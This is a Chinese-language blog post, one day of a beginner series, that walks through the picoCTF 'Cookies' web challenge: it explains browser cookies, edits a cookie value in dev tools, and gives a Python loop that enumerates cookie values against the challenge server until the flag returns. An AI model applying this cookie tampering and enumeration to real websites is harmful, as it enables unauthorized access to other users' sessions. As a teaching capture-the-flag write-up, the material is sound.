iT邦幫忙

2021 iThome 鐵人賽

DAY 26
0
Security

一起資安入門 -- picoCTF 探索與解題系列 第 26

[2021鐵人賽 Day26] Web Exploitation Web滲透題目 02

  • 引言
    今天我們接續昨天的 web 滲透主題,繼續解該系列第二題吧。

    昨天簡短介紹了一些 HTTP 的請求方法,
    今天來介紹一點 Cookie ,這種餅乾到底是什麼餅乾呢?

    [摘錄自維基百科: Cookie]
    Cookie(複數形態:Cookies),又稱「小甜餅」。類型為「小型文字檔案」,指某些網站為了辨別使用者身分而儲存在用戶端(Client Side)上的資料(通常經過加密)。

    我認為可以舉兩個例子來理解它是什麼概念:

    • 平常登入社群網站,跟朋友聊天打屁後,或許聊完後你將電腦關機了。結果,過了一個下午你又打開同個電腦、同個瀏覽器,你的帳號可能還是登入狀態,你並沒有再次輸入帳號密碼。
    • 有的網站可能會讓使用者有一些個人化設定,例如背景顏色或清單排序方式等,在不需要登入的網站中,也能在下次你開啟同個瀏覽器的時候繼續幫你套用這些設定。

    這些功能基本上就是 Cookie 達成的,它是一種小小的文字檔案,
    上面會紀錄著加密過的登入資訊、個人化設定等,
    是由伺服器那邊在你登入、設定過後傳送給你的瀏覽器,儲存在你電腦這端的文字檔案。

    所以理論上可以藉由一些方法,取得他人的 Cookie ,套用在自己瀏覽器上,
    讓伺服器誤以為你是那個人,提供給你該人的登入狀態。
    不過當然沒那麼容易的,只是從概念上或許是有辦法做到的。

  • Web Exploitation / Cookies
    https://ithelp.ithome.com.tw/upload/images/20211011/20111429TbCF1NprGR.png
    題目就直接提到了 Cookie ,並給你了一個網站,我們直接點進去吧:
    https://ithelp.ithome.com.tw/upload/images/20211011/20111429Adt1S8zQUy.png
    會有個欄位請你填入文字,該文字框的底字是 snickerdoodle ,我們直接填進去看看:
    https://ithelp.ithome.com.tw/upload/images/20211011/20111429SzhwYIMUPG.png
    會說輸入成功,但是並不是特殊餅乾,可以猜到應該有個特殊餅乾,而且應該就是 flag 。
    有了頭緒後,我們先按下 F12 看看頁面資訊,而且其實這個功能是可以看到 Cookie 的:
    https://ithelp.ithome.com.tw/upload/images/20211011/20111429GJ8QhWDMhs.png
    先調整成我紅線畫的頁面,可以看到 Cookie 只有一個,名稱: name 、值: 0
    你可以直接修改值後再按 F5 重新整理,例如我改成 1 再重新整理後:
    https://ithelp.ithome.com.tw/upload/images/20211011/20111429r8hEp4vbDf.png
    變成巧克力脆片了!我們只要持續往上更改數字,就可以得到 flag 。
    可以直接用 Python 來寫:

    import requests
    import bs4
    
    n = 0
    while True:
        try:
            r = requests.get('http://mercury.picoctf.net:54219/', cookies={'name':str(n)})
            soup = bs4.BeautifulSoup(r.text, 'html.parser')
            print(n, end=' ')
            print(soup.find(style="text-align:center; font-size:30px;").find('b').text)
            n += 1
        except requests.exceptions.ConnectionError:
            pass
    

    bs4 只是為了要找出 I love chocolate chip cookies! 這行,並非必要,
    有興趣可以自行查詢這個工具,也是非常常用的網頁爬蟲工具。

    主要的程式是 requests.get('xxx', cookies={'yyy':'zzz'}) 這段,
    先對伺服器發出 GET 請求,然後傳送 cookie 給伺服器,我們就依序由 1 開始,
    傳送 1, 2, 3, ... 等等,看看伺服器回傳什麼給我們。

    結果在第 18 號時, flag 被傳送了回來!

    0 I love snickerdoodle cookies!
    1 I love chocolate chip cookies!
    2 I love oatmeal raisin cookies!
    3 I love gingersnap cookies!
    4 I love shortbread cookies!
    5 I love peanut butter cookies!
    6 I love whoopie pie cookies!
    7 I love sugar cookies!
    8 I love molasses cookies!
    9 I love kiss cookies!
    10 I love biscotti cookies!
    11 I love butter cookies!
    12 I love spritz cookies!
    13 I love snowball cookies!
    14 I love drop cookies!
    15 I love thumbprint cookies!
    16 I love pinwheel cookies!
    17 I love wafer cookies!
    18 Flag
    

    回到 Cookie 網站,將 Cookie name 的值改成 18 ,重新整理後:
    https://ithelp.ithome.com.tw/upload/images/20211011/201114297dVZMQgtXo.png


上一篇
[2021鐵人賽 Day25] Web Exploitation Web滲透題目 01
下一篇
[2021鐵人賽 Day27] Reverse Engineering 逆向工程 01
系列文
一起資安入門 -- picoCTF 探索與解題30

尚未有邦友留言

立即登入留言